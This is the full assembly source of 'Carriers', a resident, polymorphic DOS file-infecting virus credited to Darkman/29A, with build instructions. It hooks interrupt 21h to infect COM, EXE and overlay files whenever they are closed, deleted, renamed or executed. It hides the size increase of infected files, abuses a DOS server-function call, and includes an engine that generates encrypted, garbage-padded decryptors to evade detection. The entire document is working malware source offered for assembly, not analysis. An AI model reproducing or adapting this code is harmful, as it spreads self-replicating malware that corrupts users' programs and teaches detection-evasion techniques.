comment * Carriers млллллм млллллм млллллм Code by ллл ллл ллл ллл ллл ллл Darkman/29A мммллп плллллл ллллллл лллмммм ммммллл ллл ллл ллллллл ллллллп ллл ллл Carriers is a 1332 bytes parasitic resident COM/EXE/Overlay virus. Infects files at close file, delete file, get or set file attributes, load and/or execute program and rename file by appending the virus to the infected file. Carriers has an error handler, filesize stealth, retro structures and is polymorphic in file using its internal polymorphic engine. Carriers is using the server function call DOS exploit. Compile Carriers with Turbo Assembler v 4.0 by typing: TASM /M CARRIERS.ASM TLINK /x CARRIERS.OBJ EXE2BIN CARRIERS.EXE CARRIERS.COM (optional) * .model tiny .code code_begin: jmp move_mcb db 0dh dup(?) ; Memory Control Block (MCB) virus_begin: cld ; Clear direction flag push ds es ; Save segments at stack call delta_offset delta_offset: pop si ; Load SI from stack sub si,(offset delta_offset-code_begin) mov ax,ds ; AX = segment of PSP for current ... dec ax ; AX = segment of current Memory C... mov ds,ax ; DS = " " " " " xor di,di ; Zero DI cmp byte ptr [di],'Z' ; Last block in chain? jne virus_exit ; Already resident? Jump to virus_... mov byte ptr [di],'M' ; Not last block in chain sub word ptr [di+03h],(data_end-code_begin+0fh)/10h sub word ptr [di+12h],(data_end-code_begin+0fh)/10h mov es,[di+12h] ; ES = segment of the virus push si ; Save SI at stack mov cx,(data_end-code_begin+01h)/02h segcs ; Code segment as source segment rep movsw ; Move the virus to top of memory mov ds,cx ; DS = segment of interrupt table lea di,int21_addr ; DI = offset of int21_addr mov si,(21h*04h) ; SI = offset of interrupt 21h movsw ; Get interrupt vector 21h movsw ; " " " " mov word ptr [si-04h],offset int21_virus mov [si-02h],es ; Set interrupt vector 21h pop si ; Load SI from stack virus_exit: pop es ds ; Load segments from stack mov ax,ds ; AX = segment of PSP for current ... mov di,cs ; DI = code segment cmp ax,di ; COM or EXE/Overlay executable? je vir_com_exit ; Equal? Jump to vir_com_exit add ax,10h ; AX = segment of beginning of EXE... add cs:[si+initial_cs],ax cli ; Clear interrupt-enable flag initial_sp equ word ptr $+01h ; Initial SP mov sp,00h ; SP = initial SP initial_ss equ word ptr $+01h ; Initial SS relative to start of ... add ax,00h ; Add initial SS relative to start... mov ss,ax ; SS = initial SS relative to star... sti ; Set interrupt-enable flag call zero_regs db 11101010b ; JMP imm32 (opcode 0eah) initial_ip dw 00h ; Initial IP initial_cs dw 0fff0h ; Initial CS relative to start of ... vir_com_exit: mov di,100h ; DI = offset of beginning of code push di ; Save DI at stack lea si,[si+origin_code] ; SI = offset of origin_code movsw ; Move the original code to beginning movsb ; " " " " " " zero_regs proc near ; Zero registers xor ax,ax ; Zero AX mov di,ax ; Zero DI mov si,ax ; Zero SI ret ; Return! endp int21_virus proc near ; Interrupt 21h of Carriers push bx cx ds es ; Save registers at stack push ax ; Save AX at stack cld ; Clear direction flag mov al,ah ; AL = function number cmp al,11h ; Find first matching file (FCB)? je fcb_stealth ; Equal? Jump to fcb_stealth cmp al,12h ; Find next matching file (FCB)? je fcb_stealth ; Equal? Jump to fcb_stealth cmp al,4eh ; Find first matching file (DTA)? je dta_stealth ; Equal? Jump to dta_stealth cmp al,4fh ; Find next matching file (DTA)? je dta_stealth ; Equal? Jump to dta_stealth push dx di si bp ; Save registers at stack cmp al,41h ; Delete file? je open_file ; Equal? Jump to open_file cmp al,43h ; Get or set file attributes? je open_file ; Equal? Jump to open_file cmp al,4bh ; Load and/or execute program? je open_file ; Equal? Jump to open_file cmp al,56h ; Rename file? je open_file ; Equal? Jump to open_file cmp al,3eh ; Close file? jne int21_exit ; Not equal? Jump to int21_exit call infect_file int21_exit: pop bp si di dx ; Load registers from stack pop ax ; Load AX from stack pop es ds cx bx ; Load registers from stack int21_simula proc near ; Simulate interrupt 21h db 11101010b ; JMP imm32 (opcode 0eah) int21_addr dd ? ; Address of interrupt 21h endp endp int24_virus proc near ; Interrupt 24h of Carriers mov al,03h ; Fail system call in progress int2a_virus proc near ; Interrupt 2Ah of Carriers iret ; Interrupt return! endp endp open_file: jmp open_file_ fcb_stealth: pop ax ; Load AX from stack call int21_simu__ push ax ; Save AX at stack pushf ; Save flags at stack or al,al ; Successful? jnz filesiz_exit ; Not successful? Jump to filesiz_... mov ah,51h ; Get current PSP address call int21_simu__ mov ds,bx ; DS = segment of PSP for current ... cmp ds:[16h],bx ; Parent PSP equal to current PSP? jne filesiz_exit ; Not equal? Jump to filesiz_exit mov ah,2fh ; Get disk transfer area address call int21_simul_ push es ; Save ES at stack pop ds ; Load DS from stack (ES) cmp byte ptr [bx],0ffh jne not_extended ; Not extended FCB? Jump to not_ex... add bx,07h ; BX = offset of normal FCB not_extended: mov ax,[bx+09h] ; AX = file extension mov cl,[bx+0bh] ; CL = " " mov ch,[bx+17h] ; CH = low-order byte of file time add bx,03h ; BX = offset of filesize jmp test_stealth dta_stealth: pop ax ; Load AX from stack call int21_simu__ push ax ; Save AX at stack pushf ; Save flags at stack jc filesiz_exit ; Error? Jump to filesiz_exit mov ah,2fh ; Get disk transfer area address call int21_simul_ push es ; Save ES at stack pop ds ; Load DS from stack (ES) push si ; Save SI at stack lea si,[bx+1eh] ; SI = offset of filename find_dot: lodsb ; AL = byte of filename cmp al,'.' ; Found dot in filename? jne find_dot ; Not equal? Jump to find_dot lodsw ; AX = file extension xchg ax,cx ; CX = " " lodsb ; AL = file extension xchg ax,cx ; CL = " " pop si ; Load SI from stack mov ch,[bx+16h] ; CH = low-order byte of file time test_stealth: and ch,00011111b ; CH = seconds of file time cmp ch,00011101b ; Infected (58 seconds)? jne filesiz_exit ; Not infected? Jump to filesiz_exit call tst_file_ext jne filesiz_exit ; Not equal? Jump to filesiz_exit sub [bx+1ah],(code_end-code_begin+1482h) sbb word ptr [bx+1ch],00h filesiz_exit: popf ; Load flags from stack pop ax ; Load AX from stack pop es ds cx bx ; Load registers from stack retf 02h ; Return far and add option-pop-va... open_file_: push cs ; Save CS at stack pop es ; Load ES from stack (CS) mov ah,60h ; Canonicalize filename or path lea di,filename ; DI = offset of filename mov si,dx ; SI = " " " call int21_simul_ push cs ; Save CS at stack pop ds ; Load DS from stack (CS) mov ax,3d00h ; Open file (read) mov dx,di ; DX = offset of filename call int21_simul_ xchg ax,bx ; BX = file handle call infect_file mov ah,3eh ; Close file call int21_simul_ jmp int21_exit int21_simul_ proc near ; Simulate interrupt 21h push es ds di si dx cx bx ax push cs ; Save CS at stack pop es ; Load ES from stack (CS) mov cx,08h ; Move sixteen bytes lea dx,dpl_begin ; DX = offset of dpl_begin mov di,dx ; DI = " " " loop_stack: pop ax ; Load AX from stack stosw ; Store register value within dpl_... loop loop_stack xor ax,ax ; Zero AX stosw ; Store DOS parameter list (reserved) stosw ; Store DOS parameter list (comput... push cs ; Save CS at stack pop ds ; Load DS from stack (CS) mov ah,51h ; Get current PSP address call int21_simu__ xchg ax,bx ; AX = segment of PSP for current ... stosw ; Store segment of PSP for current... mov ax,5d00h ; Server function call int21_simu__ proc near ; Simulate interrupt 21h pushf ; Save flags at stack push cs ; Save CS at stack call int21_simula ret ; Return! endp endp infect_file proc near ; Infect COM/EXE/Overlay file mov si,(24h*04h)/10h ; SI = segment within interrupt table mov ds,si ; DS = " " " " xor si,si ; Zero SI push [si+(24h*04h)-(24h*04h)] push [si+(24h*04h+02h)-(24h*04h)] mov word ptr [si+(24h*04h)-(24h*04h)],offset int24_virus mov [si+(24h*04h+02h)-(24h*04h)],cs push [si+(2ah*04h)-(24h*04h)] push [si+(2ah*04h+02h)-(24h*04h)] mov word ptr [si+(2ah*04h)-(24h*04h)],offset int2a_virus mov [si+(2ah*04h+02h)-(24h*04h)],cs push ds ; Save DS at stack mov ax,1220h ; Get system file table number int 2fh push bx ; Save BX at stack mov ax,1216h ; Get address of system FCB mov bl,es:[di] ; BL = system file table entry int 2fh pop bx ; Load BX from stack mov byte ptr es:[di+02h],02h test byte ptr es:[di+05h],10000000b jnz infect_exit ; Character device? Jump to infect... mov ax,es:[di+28h] ; AX = file extension mov cl,es:[di+2ah] ; CL = " " call tst_file_ext jne infect_exit ; Not equal? Jump to infect_exit push cs ; Save CS at stack pop ds ; Load DS from stack (CS) mov al,es:[di+0dh] ; AL = low-order byte of file time and al,00011111b ; AL = seconds of file time cmp al,00011101b ; Previously infected (58 seconds)? je infect_exit ; Equal? Jump to infect_exit mov es:[di+15h],si ; Set current file position (SOF) mov es:[di+17h],si ; Set current file position (SOF) mov ah,3fh ; Read from file mov cx,18h ; Read twenty-four bytes lea dx,origin_code ; DX = offset of origin_code call int21_simul_ mov es:[di+15h],si ; Set current file position (SOF) push di ; Save DI at stack mov cl,0bh ; Compare eleven bytes add di,20h ; DI = offset of filename lea si,command_com ; SI = offset of command_com rep cmpsb ; COMMAND.COM? pop di ; Load DI from stack je infect_exit ; Equal? Jump to infect_exit mov si,dx ; SI = offset of origin_code mov ax,es:[di+11h] ; AX = low-order word of filesize mov dx,es:[di+13h] ; AX = high-order word of filesize or dx,dx ; Filesize too small? jnz test_exe_sig ; Not zero? Jump to test_exe_sig cmp ax,1000h ; Filesize too small? jae test_exe_sig ; Above or equal? Jump to infect_exit infect_exit: jmp infect_exit_ test_exe_sig: mov cx,[si] ; CX = EXE/Overlay signature xor cx,'MZ' ; EXE/Overlay signature? jz test_exe_ov ; Found EXE/Overlay signature? Jum... xor cx,('ZM' xor 'MZ') ; EXE/Overlay signature? jz test_exe_ov ; Found EXE/Overlay signature? Jum... cmp ax,0fef8h-(data_end-code_begin) ja infect_exit ; Above? Jump to infect_exit calc_offset: mov cx,03h ; Write three bytes sub ax,cx ; AX = offset of virus within infe... mov [virus_offset],ax ; Store offset of virus within inf... add ax,103h ; AX = decryptor's offset xchg ax,bp ; BP = " " xor al,al ; AL = flags lea dx,infect_code ; DX = offset of infect_code jmp infect_file_ test_exe_ov: push dx ; Save DX at stack push ax ; " AX " " call div_by_pages pop cx ; Load CX from stack (AX) xchg ax,cx ; AX = low-order byte of filesize cmp dx,[si+02h] ; Internal overlay? pop dx ; Load DX from stack jne infect_exit ; Not equal? Jump to infect_exit cmp cx,[si+04h] ; Internal overlay? jne infect_exit ; Not equal? Jump to infect_exit cmp byte ptr [si+18h],40h je infect_exit ; New executable? Jump to infect_exit push ax dx ; Save registers at stack push di si es ; " " " " push cs ; Save CS at stack pop es ; Load ES from stack (CS) lea di,initial_ss ; DI = offset of initial_ss add si,0eh ; SI = offset of initial SS relati... movsw ; Store initial SS relative to sta... lea di,initial_sp ; DI = offset of initial_sp movsw ; Store initial SP lea di,initial_ip-02h ; DI = offset of initial_ip - 02h cmpsw ; SI = offset of initial IP movsw ; Store initial IP movsw ; Store initial CS relative to sta... mov cx,10h ; Divide by paragraphs div cx ; DX:AX = filesize in paragraphs mov bp,dx ; BP = decryptor's offset pop es si di ; Load registers from stack sub ax,[si+08h] ; Subtract header size in paragrap... mov [si+14h],dx ; Store initial IP mov [si+16h],ax ; Store initial CS relative to sta... add ax,((code_end-code_begin+1491h)/10h+01h) mov [si+0eh],ax ; Store initial SS relative to sta... and word ptr [si+10h],1111111111111110b pop dx ax ; Load registers from stack add ax,(code_end-code_begin+1482h) adc dx,00h ; Convert to 32-bit call div_by_pages mov [si+04h],ax ; Store total number of 512-bytes ... mov [si+02h],dx ; Store number of bytes in last 51... mov al,00000011b ; AL = flags mov cx,18h ; Write twenty-four bytes mov dx,si ; DX = offset of origin_code infect_file_: push es:[di+0dh] ; Save file time at stack push es:[di+0fh] ; Save file date at stack push ax ; Save AX at stack mov ah,40h ; Write to file call int21_simul_ add di,15h ; DI = offset of current offset in... lea si,[di-04h] ; SI = offset of filesize seges ; Extra segment as source segment movsw ; Move low-order word of filesize ... seges ; Extra segment as source segment movsw ; Move high-order word of filesize... pop ax ; Load AX from stack push cs ; Save CS at stack pop es ; Load ES from stack (CS) mov cx,(code_end-code_begin) lea di,data_buffer ; DI = offset of data_buffer xor si,si ; Zero SI push bx di ; Save registers at stack call c_pe_poly mov ah,40h ; Write to file mov cx,(code_end-code_begin+1482h) pop dx bx ; Load registers from stack call int21_simul_ mov ax,5701h ; Set file's date and time pop dx ; Load DX from stack (file date) pop cx ; Load CX from stack (file time) and cl,11100000b ; CX = hours and minutes of file time or cl,00011101b ; Set infection mark (58 seconds) call int21_simul_ infect_exit_: xor si,si ; Zero SI pop ds ; Save DS at stack pop [si+(2ah*04h+02h)-(24h*04h)] pop [si+(2ah*04h)-(24h*04h)] pop [si+(24h*04h+02h)-(24h*04h)] pop [si+(24h*04h)-(24h*04h)] ret ; Return! endp tst_file_ext proc near ; Test file extension cmp ax,'OC' ; COM executable? jne test_exe ; Not equal? Jump to test_exe cmp cl,'M' ; COM executable? ret ; Return! test_exe: cmp ax,'XE' ; EXE executable? jne test_ov ; Not equal? Jump to test_ov cmp cl,'E' ; EXE executable? ret ; Return! test_ov: cmp ax,'VO' ; OV? executable? jne tst_fil_exit ; Not equal? Jump to tst_fil_exit cmp cl,'L' ; OVL executable? je tst_fil_exit ; Equal? Jump to tst_fil_exit cmp cl,'R' ; OVR executable? tst_fil_exit: ret ; Return! endp div_by_pages proc near ; Divide by pages mov cx,200h ; Divide by pages div cx ; DX:AX = filesize in pages or dx,dx ; No bytes in last 512-bytes page ... je dont_inc_pag ; Equal? Jump to dont_inc_pag inc ax ; Increase total number of 512-byt... dont_inc_pag: ret endp comment * Carriers (polymorphic engine) млллллм млллллм млллллм Code by ллл ллл ллл ллл ллл ллл Darkman/29A мммллп плллллл ллллллл лллмммм ммммллл ллл ллл ллллллл ллллллп ллл ллл Calling parameters: AL Flags CX Length of original code BP Decryptor's offset DS:SI Pointer to original code ES:DI Pointer to decryptor + encrypted code Return parameters: CX Length of decryptor + encrypted code Flags: xxxxxxx1 Generate CS: in front of the decryption opcode. xxxxxx1x Generate garbage in the beginning. 111111xx Unused. Garbage instructions: JMP imm8; JMP imm16 Count/index registers: BX; BP; DI; SI Registers holding the decryption key: AL; AH; BL; BH; CL; CH; DL; DH; AX; BX; CX; DX; BP; SI; DI Decryptor: (One garbage instruction). (MOV reg,imm); MOV reg16,imm16 (Decryption key) (One garbage instruction). MOV reg16,imm16; (MOV reg,imm) (Offset of encrypted code) One garbage instruction. ADD (CS:)[reg16],imm/reg; SUB (CS:)[reg16],imm/reg; XOR (CS:)[reg16],im... One garbage instruction. ADD reg16,01h; ADD reg16,02h; INC reg16; INC reg16, INC reg16, SUB reg1... One garbage instruction. CMP reg16,imm16 (End of encrypted code) JA imm8/JAE imm8/JE imm8 (Beginning of encrypted code) JMP imm16 (Beginning of ADD (CS:)[reg16],imm8/reg8; SUB (CS:)[reg16],i... One garbage instruction. Min. decryptor size: 271 bytes. Max. decryptor size: 5250 bytes. Carriers (polymorphic engine) size: 487 bytes. I would like to thank Tcp/29A for the help and Rhincewind/VLAD for the Random Number Generator (RNG). * c_pe_poly proc near ; Carriers (polymorphic engine) push si ; Save SI at stack push cx ; " CX " " push cx ; " CX " " push di ; " DI " " push ax ; " AX " " test al,00000010b ; Generate garbage in the beginning? jz get_regs ; Zero? Jump to get_regs call gen_garbage get_regs: mov ax,04h ; Random number within four call rnd_in_range xchg ax,bx ; BL = count/index register number lea si,[bx+index_table] ; SI = offset of count/index register lodsb ; AL = count/index register mov dh,al ; DH = " " get_key_reg: call get_rnd_num_ mov dl,al ; DL = register holding decryption... and al,00001111b ; AL = " " " cmp al,00001100b ; Stack pointer (SP)? je get_key_reg ; Equal? Jump to get_key_reg test al,00001000b ; 16-bit encryption/decryption key? jnz test_reg16 ; Not zero? Jump to test_reg16 and al,00000011b ; AL = register holding decryption... test_reg16: and al,00000111b ; AL = register holding decryption... cmp al,dh ; Count/index register equal to r...? je get_regs ; Equal? Jump to get_regs initial_regs: test dl,00010000b ; Generate MOV reg,imm first and ...? jz gen_mov_r16_ ; Zero? Jump to gen_mov_r16_ call gen_mov_reg call gen_mov_r16 jmp test_gen_cs gen_mov_r16_: call gen_mov_r16 call gen_mov_reg test_gen_cs: mov [decrypt_off],di ; Store offset of decryption opcode pop ax ; Load AX from stack test al,00000001b ; Generate CS: in front of the de...? jnz gen_cs ; Not zero? Jump to gen_cs test dl,00100000b ; Generate CS? jz dont_gen_cs ; Zero? Jump to dont_gen_cs gen_cs: mov al,00101110b ; CS: stosb ; Store CS: dont_gen_cs: call tst_key_size lea si,decrypt_tbl ; SI = offset of decrypt_tbl test dl,01000000b ; Register holding decryption key? jz key_reg_used ; Zero? Jump to key_reg_used or al,10000000b ; ADD [reg16],imm/SUB [reg16],imm/... stosb ; Store ADD [reg16],imm/SUB [reg16... call lod_rnd_byte call gen_decrypt_ call sto_temp_imm jmp gen_inc_r16_ key_reg_used: xchg ax,cx ; CL = decryption algorithm call lod_rnd_byte or al,cl ; ADD [reg16],imm/SUB [reg16],imm/... stosb ; Store ADD [reg16],imm/SUB [reg16... mov al,dl ; AL = register holding decryption... mov cl,03h ; Shift register holding decryptio... and al,00000111b ; AL = register holding decryption... shl al,cl ; AL = " " " call gen_decrypt_ gen_inc_r16: call gen_garbage gen_inc_r16_: mov ax,04h ; Random number within four call rnd_in_range lea si,inc_r16_tbl-01h ; SI = offset of inc_r16_tbl-01h shl ax,01h ; Multiply increase index register... add si,ax ; SI = offset of increase index re... lodsw ; AX = increase index register opcode or ah,dh ; AH = count/index register cmp ah,01000111b ; INC reg16? ja sto_inc_r16 ; Above? Jump to sto_inc_r16 mov al,ah ; INC reg16; INC reg16 stosw ; Store INC reg16; INC reg16 call tst_key_siz_ jmp gen_cmp_r16_ sto_inc_r16: stosw ; Store increase index register op... xchg ax,bx ; BX = increase index register opcode call tst_key_size inc ax ; Increase 16-bit immediate cmp bh,11101000b ; SUB reg16,imm16? jb sto_inc_r16_ ; Below? Jump to sto_inc_r16_ neg ax ; Negate 16-bit immediate sto_inc_r16_: stosw ; Store 16-bit immediate cmp bl,10000011b ; ADD reg16,imm8? jne gen_cmp_r16 ; Not equal? Jump to gen_cmp_r16 dec di ; 8-bit immediate gen_cmp_r16: call gen_garbage gen_cmp_r16_: mov ax,1111100010000001b or ah,dh ; CMP reg16,imm16 stosw ; Store CMP reg16,imm16 mov [cmp_r16_i16],di ; Store offset of CMP reg16,imm16 stosw ; Store 16-bit immediate push cx ; Save CX at stack lea si,jmp_imm8_tbl ; SI = offset of jmp_imm8_tbl call lod_rnd_byte stosb ; Store jump condition get_rnd_num: mov ax,80h ; Random number within one hundred... call rnd_in_range cmp ax,40h ; Below sixty-four bytes? jb get_rnd_num ; Below? Jump to get_rnd_num stosb ; Store 8-bit immediate xchg cx,ax ; CX = 8-bit immediate mov al,11101001b ; JMP imm16 stosb ; Store JMP imm16 decrypt_off equ word ptr $+01h ; Offset of decryption opcode mov ax,00h ; DI = offset of decryption opcode sub ax,di ; Subtract offset of end of JMP im... dec ax ; Decrease 16-bit immediate dec ax ; " " " stosw ; Store 16-bit immediate sub cx,(mcb_end-mcb+03h) garbage_loop: call get_rnd_num_ stosb ; Store 8-bit random number loop garbage_loop pop cx ; Load CX from stack pop ax ; Load AX from stack (DI) sub ax,di ; AX = length of decryptor neg ax ; Negate length of decryptor add ax,bp ; AX = offset of encrypted code wi... mov_r16_i16 equ word ptr $+01h ; Offset of MOV reg16,imm16 mov ds:[00h],ax ; Store offset of encrypted code pop bx ; Load BX from stack (CX) test bl,00000001b ; Align offset of end of encrypte...? jz sto_cmp_r16 ; Zero? Jump to sto_cmp_r16 inc bx ; Increase offset of end of encryp... sto_cmp_r16: add ax,bx ; Add length of original code to o... cmp_r16_i16 equ word ptr $+01h ; Offset of CMP reg16,imm16 mov ds:[00h],ax ; Store offset of end of encrypted... push di ; Save DI at stack lea bx,encrypt_tbl ; BX = offset of encrypt_tbl lea di,encrypt_algo ; DI = offset of encrypt_algo add bl,ch ; Add encryption/decryption algor... mov al,[bx] ; AL = encryption algorithm mov bx,di ; BX = offset of encrypt_algo stosb ; Store encryption algorithm inc di ; Increase index register stosb ; Store encryption algorithm get_rnd_key: call get_rnd_num_ and al,ah ; Weak encryption/decryption key? jz get_rnd_key ; Zero? Jump to get_rnd_key cmp al,ah ; Weak encryption/decryption key? je get_rnd_key ; Equal? Jump to get_rnd_key mov_reg_imm equ word ptr $+01h ; Offset of MOV reg,imm mov di,00h ; BX = offset of MOV reg,imm test dl,00001000b ; 8-bit encryption/decryption key? jz store_key ; Zero? Jump to store_key stosw ; Store 16-bit encryption/decrypti... inc byte ptr [bx] ; Store encryption algorithm mov byte ptr [bx+02h],00111000b db 00111000b ; CMP [BP+SI+0AAC4],CL (opcode 38h) store_key: mov al,ah ; AL = 8-bit encryption/decryption... stosb ; Store 8-bit encryption/decryptio... xchg ax,bx ; BX = encryption/decryption key pop di ; Load DI from stack pop cx ; Load CX from stack inc cx ; Increase length of original code shr cx,01h ; Divide length of original code b... pop si ; Load SI from stack encrypt_loop: lodsw ; AX = word of original code encrypt_algo equ byte ptr $ ; Offset of encryption algorithm add al,bl ; AL = encrypted low-order byte of... add ah,bh ; AH = encrypted high-order byte o... stosw ; Store encrypted word loop encrypt_loop ret ; Return! endp gen_mov_reg proc near ; Generate MOV reg,imm mov al,dl ; AL = register holding decryption... test al,01000000b ; Register holding decryption key? jnz gen_mov_exit ; Not zero? Jump gen_mov_exit or al,10110000b ; MOV reg,imm stosb ; Store MOV reg,imm call sto_temp_imm gen_mov_exit: ret ; Return! endp gen_mov_r16 proc near ; Generate MOV reg16,imm16 mov al,dh ; AL = count/index register or al,10111000b ; MOV reg16,imm16 stosb ; Store MOV reg16,imm16 mov [mov_r16_i16],di ; Store offset of MOV reg16,imm16 stosw ; Store 16-bit immediate call gen_garbage ret ; Return! endp tst_key_size proc near ; Test size of encryption/decrypti... xor ax,ax ; Zero AX test dl,00001000b ; 8-bit encryption/decryption key? jz tst_key_exit ; Zero? Jump to tst_key_exit inc ax ; 16-bit encryption/decryption key tst_key_exit: ret ; Return! endp lod_rnd_byte proc near ; Load random byte within table mov ax,03h ; Random number within three call rnd_in_range mov ch,al ; CH = random number within three add si,ax ; SI = offset of within table lodsb ; AL = byte of table ret ; Return! endp gen_decrypt_ proc near ; Generate decryption opcode mov cl,al ; CL = decryption algorithm lea si,[bx+index_table_] lodsb ; AL = count/index register or al,cl ; ADD [reg16],imm/SUB [reg16],imm/... stosb ; Store ADD [reg16],imm/SUB [reg16... test al,01000000b ; Base pointer? jz didnt_use_bp ; Zero? Jump to didnt_use_bp xor al,al ; Zero 8-bit immediate stosb ; Store 8-bit immediate didnt_use_bp: ret ; Return! endp sto_temp_imm proc near ; Store temporary immediate mov [mov_reg_imm],di ; Store offset of MOV reg16,imm16 stosw ; Store 16-bit immediate tst_key_siz_ proc near ; Test size of encryption/decrypti... test dl,00001000b ; 16-bit encryption/decryption key? jnz gen_garbage ; Not zero? Jump to gen_garbage dec di ; 8-bit immediate gen_garbage proc near ; Generate garbage push ax cx ; Save registers at stack gen_garbage_: mov ax,401h ; Random number within one thousan... call rnd_in_range cmp ax,40h ; Below sixty-four bytes? jb gen_garbage_ ; Below? Jump to gen_garbage_ push ax ; Save AX at stack cmp ax,80h ; Generate JMP imm8 or JMP imm16? mov al,11101011b ; JMP imm8 (opcode 0ebh) jb gen_jmp_i8 ; Below? Jump to gen_jmp_i8 mov al,11101001b ; JMP imm16 (opcode 0e9h) gen_jmp_i8: stosb ; Store JMP imm8/JMP imm16 pop ax ; Load AX from stack stosb ; Store 8-bit immediate jb gen_jmp_i8_ ; Below? Jump to gen_jmp_i8_ dec di ; Decrease index register stosw ; Store 16-bit immediate gen_jmp_i8_: xchg cx,ax ; CX = number of random bytes garbage_loo_: call get_rnd_num_ stosb ; Store 8-bit random number loop garbage_loo_ pop cx ax ; Load registers from stack ret ; Return! endp endp endp endp rnd_in_range proc near ; Random number within range push bx dx ; Save registers at stack xchg ax,bx ; BX = number within range call get_rnd_num_ xor dx,dx ; Zero DX div bx ; DX = random number within range xchg ax,dx ; AX = " " " " pop dx bx ; Load registers from stack ret ; Return! endp ; Modified version of the Random Number Generator (RNG) used in the Rickety ; and Hardly Insidious yet New Chaos Engine v 1.00 [RHINCE] by ; Rhincewind/VLAD. get_rnd_num_ proc near ; Get 16-bit random number in al,40h ; AL = 8-bit random number mov ah,al ; AH = " " " in al,40h ; AL = " " " random_num equ word ptr $+01h ; 16-bit random number adc ax,00h ; AX = 16-bit random number mov [random_num],ax ; Store 16-bit random number ret ; Return! endp index_table db 00000011b ; Base register db 00000101b ; Base pointer db 00000110b ; Source index index_table_ db 00000111b ; Destination/base register db 01000110b ; Base pointer db 00000100b ; Source index db 00000101b ; Destination index decrypt_tbl db 00000000b ; ADD [reg16],imm db 00110000b ; XOR [reg16],imm db 00101000b ; SUB [reg16],imm inc_r16_tbl db 01000000b ; INC reg16 dw 1100000010000011b ; ADD reg16,imm8 dw 1100000010000001b ; ADD reg16,imm16 dw 1110100010000001b ; SUB reg16,imm16 jmp_imm8_tbl db 01110011b ; JAE imm8 db 01110100b ; JE imm8 db 01110111b ; JA imm8 encrypt_tbl db 00101010b ; SUB reg8,reg8 db 00110010b ; XOR reg8,reg8 db 00000010b ; ADD reg8,reg8 command_com db 'COMMAND COM' ; COMMAND.COM virus_offset equ word ptr $+01h ; Offset of virus within infected ... infect_code db 11101001b,?,? ; JMP imm16 (opcode 0e9h) virus_name db ' [Carriers]' ; Name of the virus virus_author db ' [Darkman/29A] ' ; Author of the virus origin_code db 11001101b,00100000b,? code_end: db 15h dup(?) ; Original code of infected file filename db 80h dup(?) ; Canonicalized filename ; DOS parameter list dpl_begin: dpl_ax dw ? ; Accumulator register dpl_bx dw ? ; Base register dpl_cx dw ? ; Count register dpl_dx dw ? ; Data register dpl_si dw ? ; Source index dpl_di dw ? ; Destination index dpl_ds dw ? ; Data segment dpl_es dw ? ; Extra segment dpl_reserved dw 00h ; Reserved dpl_comp_id dw 00h ; Computer ID dpl_proc_id dw ? ; Process ID dpl_end: data_buffer db (code_end-code_begin+1482h) dup(?) data_end: move_mcb: cld ; Clear direction flag mov cx,(mcb_end-mcb)/02h lea di,code_begin+100h ; DI = offset of code_begin lea si,mcb+100h ; SI = offset of mcb rep movsw ; Move Memory Control Block (MCB) ... jmp virus_begin mcb db 'Z' ; Last block in chain dw 08h ; Memory Control Block (MCB) belon... dw (data_end-virus_begin+0fh)/10h db 00h,00h,00h,'SC',06h dup(00h) mcb_end: end code_begin